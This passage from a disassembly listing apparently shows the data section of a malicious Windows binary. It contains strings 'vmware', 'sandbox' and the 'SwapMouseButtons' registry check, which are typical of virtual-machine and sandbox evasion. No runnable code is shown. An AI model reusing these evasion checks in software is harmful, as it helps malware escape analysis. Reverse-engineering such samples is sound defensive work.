db 0F8h, 3Bh, 92h
dd 364C7301h, 0F96EF1BEh, 2C92FAD3h, 0
; char aE_4[]
aE_4 db '
' ; DATA XREF: sub_401D60+274o
; sub_402150+707o ...
db 0F8h, 3Bh, 80h
dd 2A4D7918h, 7BF5A3h
; char LibFileName[]
LibFileName db 'ntdll.dll',0 ; DATA XREF: sub_4018E0+Do
align 10h
aVmware db 'vmware',0 ; DATA XREF: sub_402E00+F6o
align 4
aSandbox db 'sandbox',0 ; DATA XREF: sub_402E00+D5o
aCurrentuser db 'CurrentUser',0 ; DATA XREF: sub_402E00+41o
a0: ; DATA XREF: sub_402F30+69o
unicode 0, <0>,0
aSwapmousebutto db 'SwapMouseButtons',0 ; DATA XREF: sub_402F30+56o
align 4
aControlPanelMo db 'Control Panel\Mouse',0 ; DATA XREF: sub_402F30+30o
dword_405288 dd 0 ; sub_401D60+1CFw ...
dword_40528C dd 0 ; sub_401D60+B7w ...
dword_405290 dd 0 ; sub_401A30+252r ...
dword_405294 dd 0 ; sub_401D60+7Bw ...
dword_405298 dd 0 ; sub_401D60+8Fw ...
dword_40529C dd 0 ; sub_401D60+1E3w ...
dword_4052A0 dd 0 ; sub_401D60+366r
dword_4052A4 dd 0 ; sub_401D60+3C0r ...
dword_4052A8 dd 0 ; sub_401D60+A3w ...
dword_4052AC dd 0 ; sub_401D60+CBw ...
dword_4052B0 dd 0 ; sub_401D60+393r ...
dword_4052B4 dd 0 ; sub_401D60+DFw ...
dword_4052B8 dd 0 ; sub_401D60+16Bw ...
dword_4052BC dd 0 ; sub_401D60+F3w ...
dword_4052C0 dd 0 ; sub_401D60+67w ...
dword_4052C4 dd 0 ; sub_401D60+38Ar ...
dword_4052C8 dd 0 ; sub_401D60+35Dr
dword_4052CC dd 0 ; sub_401D60+3A5r ...
dword_4052D0 dd 0 ; sub_401D60+12Fw ...
dword_4052D4 dd 0 ; sub_401D60+36Fr
dword_4052D8 dd 0 ; sub_401D60+11Bw ...
dword_4052DC dd 0 ; sub_401D60+3B7r ...
dword_4052E0 dd 0 ; sub_401A30+10Er ...
dword_4052E4 dd 0 ; sub_401A30+1D0r ...
dword_4052E8 dd 0 ; sub_401D60+3AEr ...
dword_4052EC dd 0 ; sub_401D60+3C9r ...
dword_4052F0 dd 0 ; sub_401D60+354r
dword_4052F4 dd 0 ; sub_401A30+27Ar ...
dword_4052F8 dd 0 ; sub_401D60+39Cr ...
dword_4052FC dd 0 ; sub_401D60+3Fw ...
; char String2[]
String2 dd 40h dup(0) ; DATA XREF: start+F2o
_data ends
end start